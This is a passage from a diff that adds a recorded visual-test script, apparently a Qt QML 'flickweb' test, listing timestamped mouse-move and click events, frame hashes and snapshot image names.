+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 76; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6016
+ hash: "9b68c76d622f7b883a13927a112179f0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 75; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 72; y: 73
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6032
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 68; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 66; y: 68
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6048
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 63; y: 65
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 61; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6064
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 58; y: 60
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 57; y: 59
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6080
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 54; y: 56
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 53; y: 54
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6096
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 51; y: 50
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 48; y: 46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6112
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 48; y: 45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 46; y: 41
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6128
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 45; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 43; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6144
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 43; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 41; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6160
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 40; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 38; y: 28
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6176
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 36; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 35; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6192
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 33; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 32; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6208
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 31; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 30; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6224
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 29; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 28; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6240
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 27; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 26; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6256
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 25; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6272
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 24; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6288
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 6304
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 6320
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 6336
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 6352
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 24; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6368
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 6384
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 6400
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 6416
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 24; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6432
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 24; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6448
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 25; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 25; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6464
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 26; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 27; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6480
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 28; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6496
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 6512
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 6528
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 29; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6544
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 30; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 31; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6560
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 32; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 33; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6576
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 34; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 34; y: 27
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6592
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 37; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 38; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6608
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 41; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 42; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6624
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 45; y: 42
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 50; y: 46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6640
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 52; y: 49
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 57; y: 53
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6656
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 60; y: 55
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 65; y: 58
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6672
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 66; y: 59
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 71; y: 61
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6688
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 75; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 77; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6704
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 80; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 81; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6720
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6736
+ image: "flickweb.7.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 85; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 86; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6752
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 87; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 88; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6768
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 90; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 93; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6784
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 94; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 99; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6800
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 102; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 106; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6816
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 110; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 116; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6832
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 122; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 124; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6848
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 125; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6864
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 6880
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 6896
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 6912
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 6928
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 6944
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 6960
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 6976
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 6992
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7008
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7024
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7040
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7056
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7072
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7088
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 126; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7104
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 127; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 129; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7120
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 132; y: 65
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 134; y: 66
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7136
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 139; y: 68
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 144; y: 69
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7152
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 148; y: 69
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 154; y: 69
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7168
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 158; y: 68
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 162; y: 66
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7184
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 164; y: 65
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 165; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7200
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 165; y: 60
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 165; y: 54
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7216
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 162; y: 45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 159; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7232
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 151; y: 27
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 146; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7248
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 129; y: 3
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7264
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7280
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7296
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7312
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7328
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7344
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7360
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7376
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7392
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7408
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7424
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7440
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7456
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7472
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7488
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7504
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7520
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7536
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7552
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7568
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7584
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7600
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7616
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7632
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7648
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7664
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7680
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7696
+ image: "flickweb.8.png"
+ }
+ Frame {
+ msec: 7712
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7728
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7744
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7760
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7776
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7792
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7808
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7824
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7840
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7856
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7872
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7888
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7904
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7920
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7936
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7952
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7968
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 7984
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8000
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8016
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8032
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8048
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8064
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8080
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8096
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8112
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8128
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8144
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8160
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8176
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8192
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8208
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8224
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8240
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8256
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8272
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8288
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8304
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8320
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8336
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8352
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8368
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8384
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8400
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8416
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8432
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8448
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8464
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8480
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8496
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8512
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8528
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8544
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8560
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8576
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8592
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8608
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8624
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8640
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8656
+ image: "flickweb.9.png"
+ }
+ Frame {
+ msec: 8672
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8688
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8704
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8720
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8736
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8752
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8768
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8784
